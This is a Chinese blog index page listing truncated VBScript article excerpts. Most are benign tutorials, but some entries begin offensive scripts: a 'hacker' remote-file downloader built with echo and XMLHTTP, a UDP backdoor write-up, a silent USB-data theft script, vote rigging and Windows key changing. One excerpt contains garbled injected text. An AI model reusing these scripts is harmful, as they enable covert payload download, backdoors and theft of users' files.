灵活实用的VBS入门教程基础篇

2016年07月27日 105 阅读

我们常听说VBS功能很强大，也很简单，大家是否也想了解VBS呢，现在让我们一起来学习VBS吧。 VBS只是英文的缩写而已，全称是Visual Basic Script Edition，也就是说VBS是Visual Basic的脚本版，很多人说VBS是VB的一个子集。因为VBS在编程语法、函数上基本上与Visual Basic是一致的。Visual Basic能实现的一般功能，VBS同样也可以实现，实现的过程也比Visual Basic容易，因为只要一个...

灵活实用VBS入门教程应用篇

2016年07月27日 99 阅读

上一篇文章我们了解了VBS编程的一些基础知识，要更深入地学习还要学习选择结构和循环结构。 选择结构 选择结构，即是对条件进行判断，然后根据判断的结果，选择执行不同的分支的结构。常见的有IF条件语句和SelectCase语句。 ●IF条件语句 IF条件语句又有多种具体的形式，如If…Then、If…Then…Else、If…Then…ElseIf。下面分别用例程来说明。用笔记本编写一个如下内容的VBS脚本： dima,b a=inpu...

注册表-批处理-VBS之间的功能对应

2016年07月27日 97 阅读

（绿色是标题， 蓝色的是原作者，红色的部分就是需要修改的部分，根据你自己的实际情况修改） ======打开迅闪菜单的同时连接虚拟磁盘的VBS======Set WshShell = WScript.CreateObject（"WScript.Shell"）Return = WshShell.Run （"c:client新调用.exe",0,true）Return = WshShell.Run （"iscsicli AddTargetPortal 192.1...

收集的一些经典的vbs脚本大全

2016年07月27日 106 阅读

记录一些经典的vbs脚本 1.文件下载（无回显） echoiLocal=LCase（WScript.Arguments（1））>iget.vbe echoiRemote=LCase（WScript.Arguments（0））>>iget.vbe echoSetxPost=createObject（"Microsoft.XMLHTTP"）>>iget.vbe echoxPost.Open"GET",iRemote,0>&g...

VBS+MSWinsock打造灵巧UDP后门的相关资料

2016年07月27日 103 阅读

大概在一年前，VBS脚本病毒又揭起一阵热潮，一大群VBS病毒在互联网上盛行。那时的VBS病毒几乎都是用FSO、MAPI作为一个病毒传染引擎，所以我就想，VBS可否访问网络呢？如果它也能进行端口的连接，那就神奇了。从此之后，我就努力去找有关VBS的网络类的资料，可惜找了好久，什么收获也没有，直到一个月前高考结束了，我才可以静下来搞这个东西，并终于有了一点进展。 现在分析一下VBS的运作原理吧。VBS的全称是“VisualBasicScripts”，由于VBS...

一些经典的主要用户黑客的vbs脚本结合echo的dos下实现

2016年07月27日 104 阅读

1.文件下载（无回显） echoiLocal=LCase（WScript.Arguments（1））>iget.vbe echoiRemote=LCase（WScript.Arguments（0））>>iget.vbe echoSetxPost=CreateObject（"Microsoft.XMLHTTP"）>>iget.vbe echoxPost.Open"GET",iRemote,0>>iget.vbe ec...

可以定时自动关机的vbs脚本

2016年07月27日 119 阅读

复制代码 代码如下:Dimmytime,myout1,myout2 mytime=null mytime=InputBox（"请输入定时时间（格式20：10：05）"&vblf&"如果想倒计时关机，请输入倒计时时间"&vblf&"（单位/分钟）"&vblf&"输入‘xxx"可以马上关机"&vblf&"退出点‘取消"","定时关机","1"） Setwshshell=wscript.createobject（"wscript.shell"） IfIsNume...

利用wscript执行文件[包括可执行exe文件]vbs脚本

2016年07月27日 110 阅读

昨天下载并且安装了UpdaterApplicationBlock后，需要执行一个Deploy.vbs的文件，鄙人才疏学浅，这个小问题竟然也花费了我不少心机。 现在把结论共享一下。 首先，我的vbs文件关联已经被“豪杰”夺取了。我双击Deploy.vbs就会打开豪杰，比较郁闷。但是我用了打开方式，试了浏览器、cmd，都无济于事。 今天，我想到这个问题后，就有想法去Microsoft的NewsGroup上去问一问。然后又去了CSDN的全文检索。果然很争气，我的...

vbs实用软件自造——Windows脚本应用实例

2016年07月27日 106 阅读

从Windows98时代起，各种脚本文件不断出现，脚本文件的作用是为了实现各种脚本文件在Windows界面或Dos命令提示符下的直接运行，微软就在系统内植入了一个基于32位Windows平台、独立的脚本运行环境，并将其命名为“WindowsScriptingHost（Windows脚本宿主以下简称WSH）”。 WSH诞生后，在Windows系列产品中很快得到了推广。除Windows98外，微软在InternetInformationServer、Windo...

防止网页脚本病毒执行的方法-from web

2016年07月27日 105 阅读

不知你遇到过这种事情没有？上网正在兴头上时，突然IE窗口不停地打开，最后直到资源耗尽死机？近日笔者上网不久，计算机便一直狂打开IE窗口，最后导致系统内存占用过多而死机。虽然我用的是IE6，并有病毒防火墙的保护，但是还是中了招。 后来查阅资料，才知道原来是中了脚本病毒。其实就是一个叫“WSH”的东东在捣鬼。脚本病毒的执行离不开WSH。WSH全称“WindowsScriptingHost”,是微软提供的一种基于32位Windows平台的、与语言无关的脚本解...

打开QQ并且让它自己输入用户名和密码的vbs脚本

2016年07月27日 105 阅读

可以定时打开QQ并且让它自己输入用户名和密码的脚本复制代码 代码如下:dimprogram program="c:ProgramFilesTencentqqQQ.exe" "你的qq路径setWshell=CreateObject（"Wscript.Shell"） setoexec=Wshell.Exec（program） wscript.Sleep2000 Wshell.AppActivate"QQTang" Wshell.SendKeys"+{TAB}...

多进程的实现投票的vbs脚本

2016年07月27日 110 阅读

复制代码 代码如下:setshell=createobject（"wscript.shell"） sethttp=createobject（"Microsoft.XMLHTTP"） "获得"wscript.exe"进程的数量 a=0 foreachpsingetobject（"winmgmts:\. ootcimv2:win32_process"）.instances_ ifps.name="wscript.exe"thena=a+1 next ifa&l...

用vbs脚本实现运行DOS批处理不再出现黑屏cmd窗口

2016年07月27日 103 阅读

DOS批处理不再黑屏的vbs脚本 DIMobjShell n]h/K,cQ"xe0setōbjShell=wscrīpt.createObject（"wscrīpt.shell"）linux博客？w？&Up~ iReturn=objShell.Run（"cmd.exe/C\192.168.1.61idiskootcfg.ini",0,TRUE）linux博客O&ped3T5R！U#Xqs iReturn=objShell.Run（...

利用vbs脚本实现设置IE的打印页眉页脚信息

2016年07月27日 108 阅读

将下面的内容保存成.vbs文件，然后双击执行，在打开ie页面，在页面中点击右键，看看菜单中多了个什么！！：）复制代码 代码如下:optionexplicit dimhkey_root,hkey_path,hkey_key,filepath dimfs,fso,regwsh hkey_root="hkey_current_user" hkey_path="softwaremicrosoftinternetexplorer" //先创建文件 setfs=wsc...

两个vbs脚本利用了wscirpt.network

2016年07月27日 104 阅读

SetobjNetwork=CreateObject（"Wscript.Network"） strComputer=objNetwork.ComputerName ConstForReading=1 ConstForAppending=8 DimarrFileLines（） i=0 SetobjWMIService=GetObject（"winmgmts:"&"{impersonationLevel=impersonate}！"&strComputer&"...

一次载入2个vbs脚本的方法

2016年07月27日 100 阅读

现有两个函数A、B，分别用VBScript和JavaScript写的 用下面的语句可以分别加载 <bodyOnload="VbScript:A"> <bodyOnload="JavaScript:B；"> 我想在同一个<body>中同时加载这两个函数复制代码 代码如下:<script> functionjs（）{alert（"a"）} </script> <scriptlanguage=vb...

一个可以更换windows xp or 2003的序列号的vbs脚本

2016年07月27日 100 阅读

将以下代码复制到文本文件，另存为vbs文件执行就可以了：复制代码 代码如下:"ForWinXPSP1SP2,WindowsServer2003 "*************************************************************************** ONERRORRESUMENEXT DimVOL_PROD_KEY ifWscript.arguments.count<1then VOL_PROD_KEY...

一个可以删除指定天数文件的vbs脚本

2016年07月27日 107 阅读

复制代码 代码如下:ConstFilePath="E:log""定义目录 SetFSO=CreateObject（"Scripting.FileSystemObject"） ShowSubfoldersFSO.GetFolder（filepath） SubShowSubFolders（Folder） ForEachSubfolderinFolder.SubFolders SetFiles=subfolder.Files IfFiles.Count<&...

利用VBS脚本自动创建计算机帐户的代码

2016年07月27日 100 阅读

mcse注:其实这是按照ADSI（ActiveDirectoryServicesInterface:活动目录服务接口）写的程序。如果你安装了resourcekit，这段代码可以用netcom这条命令进行工作，下面是netcom的一个例子: NETDOM/Domain:MYDOMAIN/user:adminuser/password:apasswordMEMBERMYCOMPUTER/ADD 复制代码 代码如下: *******************...

利用VBS脚本轻松盗U盘数据

2016年07月27日 122 阅读

脚本应该具备以下功能： 1.开机自启动； 2.定时复制U盘所有文件及文件夹到指定位置； 3.无任何错误提示（很关键，如果不想找死的话）。 思路很简单，接下来就是脚本的具体内容了，我在每行脚本后都加了注释，但愿比我还菜的人也能看懂复制代码 代码如下:OnErrorResumeNext‘忽略异常，否则可能会有错误提示框 Setfso=CreateObject（"Scripting.FileSystemObject"）‘创建fso dimn Setn=Creat...